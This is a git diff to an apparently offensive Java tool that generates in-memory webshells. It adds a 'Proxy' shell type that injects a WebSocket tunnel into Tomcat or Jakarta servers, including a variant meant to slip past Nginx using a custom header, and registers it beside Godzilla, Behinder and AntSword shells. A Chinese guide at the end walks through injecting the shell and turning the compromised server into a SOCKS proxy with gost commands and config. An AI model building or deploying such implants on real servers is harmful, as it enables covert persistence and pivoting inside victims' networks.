diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java index 69e7647a..dee28166 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java @@ -77,6 +77,10 @@ public class MemShellGenerateRequest { .shellClassBase64(shellToolConfig.getShellClassBase64()) .shellClassName(shellToolConfig.getShellClassName()) .build(); + case Proxy -> ProxyConfig.builder() + .headerName(shellToolConfig.getHeaderName()) + .headerValue(shellToolConfig.getHeaderValue()) + .shellClassName(shellToolConfig.shellClassName).build(); default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool()); }; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java index 596457d0..34464794 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java @@ -9,6 +9,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.*; import com.reajason.javaweb.memshell.shelltool.neoreg.*; import com.reajason.javaweb.memshell.shelltool.suo5.*; import com.reajason.javaweb.memshell.shelltool.suo5v2.*; +import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket; import java.util.Collections; import java.util.List; @@ -239,6 +240,13 @@ public class ServerFactory { .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class) .addShellClass(ACTION, NeoreGeorgStruct2Action.class) .build()); + + addToolMapping(ShellTool.Proxy, ToolMapping.builder() + .addShellClass(WEBSOCKET, ProxyWebSocket.class) + .addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class) + .addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class) + .addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class) + .build()); } public static void register(String serverName, Supplier shellSupplier) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java index 6b7a6cdd..7b687fa5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java @@ -12,5 +12,6 @@ public class ShellTool { public static final String Suo5v2 = "Suo5v2"; public static final String AntSword = "AntSword"; public static final String NeoreGeorg = "NeoreGeorg"; + public static final String Proxy = "Proxy"; public static final String Custom = "Custom"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java index 29d3c8ac..1acbc5bf 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java @@ -27,6 +27,7 @@ public class ShellToolFactory { register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class); register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class); register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class); + register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class); } public static void register(String shellToolName, Class generatorClass, Class configClass) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/ProxyConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ProxyConfig.java new file mode 100644 index 00000000..fc9983ce --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ProxyConfig.java @@ -0,0 +1,38 @@ +package com.reajason.javaweb.memshell.config; + +import com.reajason.javaweb.utils.CommonUtil; +import lombok.*; +import lombok.experimental.SuperBuilder; +import org.apache.commons.lang3.StringUtils; + +@Getter +@SuperBuilder +@NoArgsConstructor +@AllArgsConstructor +@ToString +public class ProxyConfig extends ShellToolConfig { + @Builder.Default + private String headerName = "User-Agent"; + @Builder.Default + private String headerValue = CommonUtil.getRandomString(8); + + public static abstract class ProxyConfigBuilder> + extends ShellToolConfig.ShellToolConfigBuilder { + + public B headerName(final String headerName) { + if (StringUtils.isNotBlank(headerName)) { + this.headerName$value = headerName; + headerName$set = true; + } + return self(); + } + + public B headerValue(final String headerValue) { + if (StringUtils.isNotBlank(headerValue)) { + this.headerValue$value = headerValue; + headerValue$set = true; + } + return self(); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ProxyGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ProxyGenerator.java new file mode 100644 index 00000000..aaf4d884 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ProxyGenerator.java @@ -0,0 +1,17 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.memshell.config.ProxyConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; + +public class ProxyGenerator extends ByteBuddyShellGenerator { + public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) { + super(shellConfig, shellToolConfig); + } + + @Override + protected DynamicType.Builder getBuilder() { + return new ByteBuddy().redefine(shellToolConfig.getShellClass()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java index 54a39dad..7b2d5eb3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java @@ -5,10 +5,7 @@ import com.reajason.javaweb.GenerationException; import com.reajason.javaweb.Server; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.memshell.config.CommandConfig; -import com.reajason.javaweb.memshell.config.GodzillaConfig; -import com.reajason.javaweb.memshell.config.ShellConfig; -import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve; import com.reajason.javaweb.utils.CommonUtil; import net.bytebuddy.ByteBuddy; @@ -50,6 +47,8 @@ public class WebSocketByPassHelperGenerator { return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue()); } else if (shellToolConfig instanceof GodzillaConfig) { return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue()); + } else if (shellToolConfig instanceof ProxyConfig) { + return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue()); } return null; } diff --git a/vul/vul-webapp/src/main/webapp/wsproxy.jsp b/vul/vul-webapp/src/main/webapp/wsproxy.jsp new file mode 100644 index 00000000..635f3935 --- /dev/null +++ b/vul/vul-webapp/src/main/webapp/wsproxy.jsp @@ -0,0 +1,16 @@ +<%-- + Created by IntelliJ IDEA. + User: ReaJason + Date: 2026/1/16 + Time: 23:12 + To change this template use File | Settings | File Templates. +--%> +<%@ page contentType="text/html;charset=UTF-8" language="java" %> + + + $Title$ + + + $END$ + + diff --git a/web/app/components/memshell/main-config-card.tsx b/web/app/components/memshell/main-config-card.tsx index 62654316..0299c260 100644 --- a/web/app/components/memshell/main-config-card.tsx +++ b/web/app/components/memshell/main-config-card.tsx @@ -1,16 +1,5 @@ -import { - ArrowUpRightIcon, - AxeIcon, - CommandIcon, - InfoIcon, - NetworkIcon, - ServerIcon, - ShieldOffIcon, - SwordIcon, - WaypointsIcon, - ZapIcon, -} from "lucide-react"; -import { type JSX, useCallback, useRef, useState } from "react"; +import { ArrowUpRightIcon, InfoIcon, ServerIcon } from "lucide-react"; +import { useCallback, useEffect, useMemo } from "react"; import { Controller, type UseFormReturn, useWatch } from "react-hook-form"; import { useTranslation } from "react-i18next"; import { AntSwordTabContent } from "@/components/memshell/tabs/antsword-tab"; @@ -51,17 +40,7 @@ import type { MemShellFormSchema } from "@/types/schema"; import { Spinner } from "../ui/spinner"; import { JREVersionFormField } from "./jreversion-field"; import { ServerVersionFormField } from "./serverversion-field"; - -const shellToolIcons: Record = { - [ShellToolType.Behinder]: , - [ShellToolType.Godzilla]: , - [ShellToolType.Command]: , - [ShellToolType.AntSword]: , - [ShellToolType.Suo5]: , - [ShellToolType.Suo5v2]: , - [ShellToolType.NeoreGeorg]: , - [ShellToolType.Custom]: , -}; +import { ProxyTabContent } from "./tabs/proxy-tab"; export default function MainConfigCard({ mainConfig, @@ -74,62 +53,108 @@ export default function MainConfigCard({ }>) { const { t } = useTranslation(["common", "memshell"]); - const [shellToolMap, setShellToolMap] = useState<{ - [toolName: string]: string[]; - }>(); - const [shellTools, setShellTools] = useState([]); - const [shellTypes, setShellTypes] = useState([]); + const server = useWatch({ + control: form.control, + name: "server", + }); const shellTool = useWatch({ control: form.control, name: "shellTool", }); - const handleServerChange = useCallback( - (value: string) => { - if (mainConfig) { - const newShellToolMap = mainConfig[value]; - setShellToolMap(newShellToolMap); + const serverToolMap = useMemo(() => { + if (!mainConfig || !server) { + return undefined; + } + return mainConfig[server]; + }, [mainConfig, server]); - const newShellTools = Object.keys(newShellToolMap); - setShellTools([ - ...newShellTools.map((tool) => tool as ShellToolType), - ShellToolType.Custom, - ]); + const serverOptions = useMemo(() => Object.keys(servers ?? {}), [servers]); - const currentShellTool = form.getValues("shellTool"); + const shellTools = useMemo(() => { + if (!serverToolMap) { + return []; + } + const tools = Object.keys(serverToolMap).map( + (tool) => tool as ShellToolType, + ); + return Array.from(new Set([...tools, ShellToolType.Custom])); + }, [serverToolMap]); - const firstTool = newShellTools[0]; - let currentShellTypes = null; + const customShellTypes = useMemo(() => { + if (!server) { + return []; + } + return servers?.[server] ?? []; + }, [server, servers]); - if (!newShellToolMap[currentShellTool]) { - form.setValue("shellTool", firstTool); - currentShellTypes = newShellToolMap[firstTool]; - } else { - currentShellTypes = newShellToolMap[currentShellTool]; + const shellTypes = useMemo(() => { + if (!serverToolMap || !server) { + return []; + } + if (shellTool === ShellToolType.Custom) { + return customShellTypes; + } + return serverToolMap[shellTool] ?? []; + }, [customShellTypes, server, serverToolMap, shellTool]); + + useEffect(() => { + if (!mainConfig || !server) { + return; + } + const toolMap = mainConfig[server]; + if (!toolMap) { + return; + } + const toolKeys = Object.keys(toolMap); + if (toolKeys.length === 0) { + return; + } + + const currentShellTool = form.getValues("shellTool") as ShellToolType; + const nextShellTool = toolMap[currentShellTool] + ? currentShellTool + : (toolKeys[0] as ShellToolType); + + if (nextShellTool !== currentShellTool) { + form.setValue("shellTool", nextShellTool); + } + + if (nextShellTool !== ShellToolType.Custom) { + const nextShellTypes = toolMap[nextShellTool] ?? []; + if (nextShellTypes.length > 0) { + const currentShellType = form.getValues("shellType"); + if (currentShellType !== nextShellTypes[0]) { + form.setValue("shellType", nextShellTypes[0]); } - setShellTypes(currentShellTypes); - - if (currentShellTypes && currentShellTypes.length > 0) { - form.setValue("shellType", currentShellTypes[0]); - } - - if ( - (value === "SpringWebFlux" || value === "XXLJOB") && - Number.parseInt(form.getValues("targetJdkVersion") as string, 10) < 52 - ) { - form.setValue("targetJdkVersion", "52"); - } else { - form.setValue("targetJdkVersion", "50"); - } - - form.resetField("serverVersion"); - form.resetField("byPassJavaModule"); - form.resetField("urlPattern"); } - }, - [form, mainConfig], - ); + } + + const currentTargetJdk = form.getValues("targetJdkVersion") as string; + const currentJdkVersion = Number.parseInt(currentTargetJdk, 10); + const shouldRaiseJdkVersion = + (server === "SpringWebFlux" || server === "XXLJOB") && + currentJdkVersion < 52; + const nextJdkVersion = shouldRaiseJdkVersion ? "52" : "50"; + if (currentTargetJdk !== nextJdkVersion) { + form.setValue("targetJdkVersion", nextJdkVersion); + } + + form.resetField("serverVersion"); + form.resetField("byPassJavaModule"); + form.resetField("urlPattern"); + }, [form, mainConfig, server]); + + useEffect(() => { + if (shellTool !== ShellToolType.Custom || customShellTypes.length === 0) { + return; + } + const currentShellType = form.getValues("shellType"); + if (currentShellType !== customShellTypes[0]) { + form.setValue("shellType", customShellTypes[0]); + } + }, [customShellTypes, form, shellTool]); const handleShellToolChange = useCallback( (value: string) => { @@ -172,16 +197,15 @@ export default function MainConfigCard({ form.resetField("shellClassBase64"); }; - if (shellToolMap) { + if (serverToolMap) { let currentShellTypes = null; if (value === ShellToolType.Custom) { - currentShellTypes = servers?.[form.getValues("server")] as string[]; + currentShellTypes = customShellTypes; } else { - currentShellTypes = shellToolMap[value]; + currentShellTypes = serverToolMap[value]; } - setShellTypes(currentShellTypes); - // 直接设置 shellType 而不是依赖 useEffect + // Set shellType directly instead of relying on useEffect. if (currentShellTypes && currentShellTypes.length > 0) { form.setValue("shellType", currentShellTypes[0]); } @@ -207,18 +231,9 @@ export default function MainConfigCard({ } form.setValue("shellTool", value); }, - [form, servers, shellToolMap], + [customShellTypes, form, serverToolMap], ); - const initializedRef = useRef(false); - if (!initializedRef.current && mainConfig) { - const initialServer = form.getValues("server"); - if (initialServer && mainConfig[initialServer]) { - handleServerChange(initialServer); - initializedRef.current = true; - } - } - return ( <> @@ -249,10 +264,7 @@ export default function MainConfigCard({ {t("common:server")} @@ -312,10 +325,7 @@ export default function MainConfigCard({ {shellTools.map((tool) => ( - - {shellToolIcons[tool]} - {tool} - + {tool} ))} @@ -484,6 +494,7 @@ export default function MainConfigCard({ /> + )} diff --git a/web/app/components/memshell/results/basic-info.tsx b/web/app/components/memshell/results/basic-info.tsx index ad6cf51a..09d11476 100644 --- a/web/app/components/memshell/results/basic-info.tsx +++ b/web/app/components/memshell/results/basic-info.tsx @@ -11,6 +11,7 @@ import { type GodzillaShellToolConfig, type MemShellResult, type NeoreGeorgShellToolConfig, + type ProxyShellToolConfig, ShellToolType, type Suo5ShellToolConfig, } from "@/types/memshell"; @@ -163,6 +164,13 @@ export function BasicInfo({ value={`${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerValue}`} /> )} + {generateResult?.shellConfig.shellTool === ShellToolType.Proxy && ( + + )} {generateResult?.shellConfig.shellTool === ShellToolType.AntSword && ( <> - + diff --git a/web/app/components/memshell/results/multi-packer.tsx b/web/app/components/memshell/results/multi-packer.tsx index 8dbb2091..250618c5 100644 --- a/web/app/components/memshell/results/multi-packer.tsx +++ b/web/app/components/memshell/results/multi-packer.tsx @@ -1,5 +1,5 @@ import { DownloadIcon } from "lucide-react"; -import { useEffect, useState } from "react"; +import { useCallback, useEffect, useMemo, useState } from "react"; import { useTranslation } from "react-i18next"; import CodeViewer from "@/components/code-viewer"; import { Button } from "@/components/ui/button"; @@ -25,30 +25,36 @@ export function MultiPackResult({ }>) { const showCode = packMethod === "JSP"; const { t } = useTranslation(); - const packMethods = Object.keys(allPackResults ?? {}); - - const [selectedMethod, setSelectedMethod] = useState(packMethods[0]); - const [packResult, setPackResult] = useState( - allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "", + const packResults = allPackResults as Record | undefined; + const packMethods = useMemo( + () => Object.keys(packResults ?? {}), + [packResults], ); - useEffect(() => { - const newPackMethods = Object.keys(allPackResults ?? {}); - if (!newPackMethods.includes(selectedMethod)) { - const newSelectedMethod = newPackMethods[0]; - setSelectedMethod(newSelectedMethod); - setPackResult( - allPackResults?.[newSelectedMethod as keyof typeof allPackResults] ?? - "", - ); - } else { - setPackResult( - allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "", - ); - } - }, [allPackResults, selectedMethod]); + const [selectedMethod, setSelectedMethod] = useState( + () => packMethods[0] ?? "", + ); - const handleDownload = () => { + const packResult = useMemo(() => { + if (!selectedMethod) { + return ""; + } + return packResults?.[selectedMethod] ?? ""; + }, [packResults, selectedMethod]); + + useEffect(() => { + if (packMethods.length === 0) { + if (selectedMethod !== "") { + setSelectedMethod(""); + } + return; + } + if (!packMethods.includes(selectedMethod)) { + setSelectedMethod(packMethods[0]); + } + }, [packMethods, selectedMethod]); + + const handleDownload = useCallback(() => { const fileName = shellClassName?.substring(shellClassName?.lastIndexOf(".") ?? 0) ?? ""; if (packMethod === "JSP") { @@ -64,13 +70,17 @@ export function MultiPackResult({ }); return downloadContent(content, fileName, ".data"); } else if (packMethod === "Base64") { - const base64Content = - allPackResults?.[ - Object.keys(allPackResults)[0] as keyof typeof allPackResults - ] ?? ""; + const base64Content = packResults?.[packMethods[0]] ?? ""; return downloadBytes(base64Content, shellClassName); } - }; + }, [ + packMethod, + packMethods, + packResult, + packResults, + selectedMethod, + shellClassName, + ]); return ( { setSelectedMethod(value as string); - setPackResult( - allPackResults?.[value as keyof typeof allPackResults] ?? "", - ); }} value={selectedMethod} > diff --git a/web/app/components/memshell/tabs/proxy-tab.tsx b/web/app/components/memshell/tabs/proxy-tab.tsx new file mode 100644 index 00000000..e019504c --- /dev/null +++ b/web/app/components/memshell/tabs/proxy-tab.tsx @@ -0,0 +1,69 @@ +import { Controller, type UseFormReturn, useWatch } from "react-hook-form"; +import { useTranslation } from "react-i18next"; +import { Card, CardContent } from "@/components/ui/card"; +import { Field, FieldLabel } from "@/components/ui/field"; +import { Input } from "@/components/ui/input"; +import { TabsContent } from "@/components/ui/tabs"; +import type { MemShellFormSchema } from "@/types/schema"; +import { OptionalClassFormField } from "./classname-field"; +import { ShellTypeFormField } from "./shelltype-field"; + +export function ProxyTabContent({ + form, + shellTypes, +}: Readonly<{ + form: UseFormReturn; + shellTypes: Array; +}>) { + const shellType = useWatch({ + name: "shellType", + control: form.control, + }); + const { t } = useTranslation(["memshell", "common"]); + return ( + + + + + + + + + + ); +} diff --git a/web/app/components/probeshell/basic-info.tsx b/web/app/components/probeshell/basic-info.tsx index 3350c04b..a470b2ca 100644 --- a/web/app/components/probeshell/basic-info.tsx +++ b/web/app/components/probeshell/basic-info.tsx @@ -12,6 +12,7 @@ export function BasicInfo({ console.log(generateResult); const isBodyContent = generateResult?.probeConfig.probeMethod === "ResponseBody"; + const isFilterContent = generateResult?.probeConfig.probeContent === "Filter"; const isBodyCommand = isBodyContent && generateResult?.probeConfig.probeContent === "Command"; return ( @@ -27,7 +28,7 @@ export function BasicInfo({
- {isBodyContent && ( + {!isFilterContent && isBodyContent && ( +); + const PROBE_OPTIONS = [ { value: "Server" as const, label: "server" }, { value: "JDK" as const, label: "jdk" }, @@ -251,117 +255,35 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) { /> )}
- ( -
- - - - - - - -

{t("common:debug.description")}

-
-
-
- )} + label={t("common:debug")} + description={t("common:debug.description")} /> - ( -
- - - - - - - -

{t("common:byPassJavaModule.description")}

-
-
-
- )} + label={t("common:byPassJavaModule")} + description={t("common:byPassJavaModule.description")} /> - ( -
- - - - - - - -

{t("common:lambdaSuffix.description")}

-
-
-
- )} + label={t("common:lambdaSuffix")} + description={t("common:lambdaSuffix.description")} /> - ( -
- - - - - - - -

{t("common:shrink.description")}

-
-
-
- )} + label={t("common:shrink")} + description={t("common:shrink.description")} /> - ( -
- - - - - - - -

{t("common:staticInitialize.description")}

-
-
-
- )} + label={t("common:staticInitialize")} + description={t("common:staticInitialize.description")} />
{isBodyMethod && needParam && ( @@ -376,9 +298,7 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) { {t("common:paramName")} {t("common:optional")} - - - + {infoIcon}

{t("common:paramName.description")}

diff --git a/web/app/components/ui/switch-field.tsx b/web/app/components/ui/switch-field.tsx new file mode 100644 index 00000000..91db8b06 --- /dev/null +++ b/web/app/components/ui/switch-field.tsx @@ -0,0 +1,59 @@ +import { InfoIcon } from "lucide-react"; +import { memo } from "react"; +import { + type Control, + Controller, + type FieldValues, + type Path, +} from "react-hook-form"; +import { Label } from "@/components/ui/label"; +import { Switch } from "@/components/ui/switch"; +import { + Tooltip, + TooltipContent, + TooltipTrigger, +} from "@/components/ui/tooltip"; + +// Hoisted static JSX to avoid recreation on each render +const infoIcon = ( + +); + +interface SwitchFieldProps { + readonly name: Path; + readonly label: string; + readonly description: string; + readonly control: Control; +} + +function SwitchFieldInner({ + name, + label, + description, + control, +}: SwitchFieldProps) { + return ( + ( +
+ + + + {infoIcon} + +

{description}

+
+
+
+ )} + /> + ); +} + +export const SwitchField = memo(SwitchFieldInner) as typeof SwitchFieldInner; diff --git a/web/app/routes/memshell.tsx b/web/app/routes/memshell.tsx index 521eb8aa..2aabac95 100644 --- a/web/app/routes/memshell.tsx +++ b/web/app/routes/memshell.tsx @@ -1,7 +1,7 @@ import { useQuery } from "@tanstack/react-query"; import { HomeLayout } from "fumadocs-ui/layouts/home"; import { LoaderCircle, WandSparklesIcon } from "lucide-react"; -import { useState, useTransition } from "react"; +import { useCallback, useState, useTransition } from "react"; import { useForm } from "react-hook-form"; import { useTranslation } from "react-i18next"; import { toast } from "sonner"; @@ -28,57 +28,70 @@ import { import { transformToPostData } from "@/utils/transformer"; import { baseOptions } from "../lib/layout.shared"; +const homeLayoutOptions = baseOptions(); + +const defaultValues: MemShellFormSchema = { + server: "Tomcat", + serverVersion: "Unknown", + targetJdkVersion: "50", + debug: false, + byPassJavaModule: false, + shellClassName: "", + shellTool: ShellToolType.Godzilla, + shellType: "Listener", + urlPattern: "/*", + godzillaPass: "", + godzillaKey: "", + commandParamName: "", + behinderPass: "", + antSwordPass: "", + headerName: "User-Agent", + headerValue: "", + injectorClassName: "", + packingMethod: "", + shrink: true, + staticInitialize: true, + shellClassBase64: "", +}; + +const jsonHeaders = { + "Content-Type": "application/json", +} as const; + +const fetchJson = async (url: string): Promise => { + const response = await fetch(url); + return response.json() as Promise; +}; + +const fetchServerConfig = () => + fetchJson(`${env.API_URL}/api/config/servers`); + +const fetchMainConfig = () => + fetchJson(`${env.API_URL}/api/config`); + +const fetchPackerConfig = () => + fetchJson(`${env.API_URL}/api/config/packers`); + export default function MemShellPage() { const { data: serverConfig } = useQuery({ queryKey: ["serverConfig"], - queryFn: async () => { - const response = await fetch(`${env.API_URL}/api/config/servers`); - return await response.json(); - }, + queryFn: fetchServerConfig, }); const { data: mainConfig } = useQuery({ queryKey: ["mainConfig"], - queryFn: async () => { - const response = await fetch(`${env.API_URL}/api/config`); - return await response.json(); - }, + queryFn: fetchMainConfig, }); const { data: packerConfig } = useQuery({ queryKey: ["packerConfig"], - queryFn: async () => { - const response = await fetch(`${env.API_URL}/api/config/packers`); - return await response.json(); - }, + queryFn: fetchPackerConfig, }); const { t } = useTranslation(["common", "memshell"]); const form = useForm({ resolver: useYupValidationResolver(memShellFormSchema, t), - defaultValues: { - server: "Tomcat", - serverVersion: "Unknown", - targetJdkVersion: "50", - debug: false, - byPassJavaModule: false, - shellClassName: "", - shellTool: ShellToolType.Godzilla, - shellType: "Listener", - urlPattern: "/*", - godzillaPass: "", - godzillaKey: "", - commandParamName: "", - behinderPass: "", - antSwordPass: "", - headerName: "User-Agent", - headerValue: "", - injectorClassName: "", - packingMethod: "", - shrink: true, - staticInitialize: true, - shellClassBase64: "", - }, + defaultValues, }); const [packResult, setPackResult] = useState(); @@ -89,15 +102,13 @@ export default function MemShellPage() { const [packMethod, setPackMethod] = useState(""); const [isActionPending, startTransition] = useTransition(); - const onSubmit = async (data: MemShellFormSchema) => { - startTransition(async () => { + const submitMemShell = useCallback( + async (data: MemShellFormSchema) => { try { const postData = transformToPostData(data); const response = await fetch(`${env.API_URL}/api/memshell/generate`, { method: "POST", - headers: { - "Content-Type": "application/json", - }, + headers: jsonHeaders, body: JSON.stringify(postData), }); @@ -118,11 +129,21 @@ export default function MemShellPage() { t("toast.generateError", { error: (error as Error).message }), ); } - }); - }; + }, + [t], + ); + + const onSubmit = useCallback( + (data: MemShellFormSchema) => { + startTransition(() => { + void submitMemShell(data); + }); + }, + [submitMemShell], + ); return ( - +
+ +### 选择 Proxy + +![proxy_ws.png](../images/proxy_ws.png) + + + +### 生成并注入 + +选取合适的打包方式,并进行内存马的注入。 + + + +### 使用 Gost 客户端尝试启动代理 + +https://github.com/go-gost/gost + +```bash +❯ ./gost -L :1080 -F "ws://127.0.0.1:8082?path=/app/proxy" +{"handler":"auto","kind":"service","level":"info","listener":"tcp","msg":"listening on [::]:1080/tcp","service":"service-0","time":"2026-01-16T23:15:55.143+08:00"} +``` + +尝试使用 curl 命令使用代理访问百度 + +```bash +> curl -x socks5h://127.0.0.1:1080 https://www.baidu.com +``` + + + +## BypassNginxWebSocket 内存马 + + + +### 选择 Proxy 并填写参数 + +![proxy_bypass_ws.png](../images/proxy_bypass_ws.png) + + + +### 生成并注入 + +选取合适的打包方式,并进行内存马的注入。 + + + +### 使用 Gost 客户端尝试启动代理 + +https://github.com/go-gost/gost + +由于 Gost 自定义请求头只能通过配置文件实现,因此创建一个 `gost.yaml` + +```yaml +services: + - name: service-0 + addr: :1080 + handler: + type: auto + listener: + type: tcp + chain: chain-0 + +chains: + - name: chain-0 + hops: + - name: hop-ws + nodes: + - name: ws-tunnel + addr: 127.0.0.1:80 # 此处填写目标地址,我是用 Nginx 反代所以是 80 端口 + connector: + type: http + dialer: + type: ws + metadata: + path: /app/bypass-proxy # 此处填写 WebSocket 路径 + header: + User-Agent: "test" # 此处填写自定义请求头 +``` + +```bash +❯ ./gost -C gost.yaml +{"handler":"auto","kind":"service","level":"info","listener":"tcp","msg":"listening on [::]:1080/tcp","service":"service-0","time":"2026-01-16T23:30:04.927+08:00"} +``` + +尝试使用 curl 命令使用代理访问百度 + +```bash +> curl -x socks5h://127.0.0.1:1080 https://www.baidu.com +``` + + \ No newline at end of file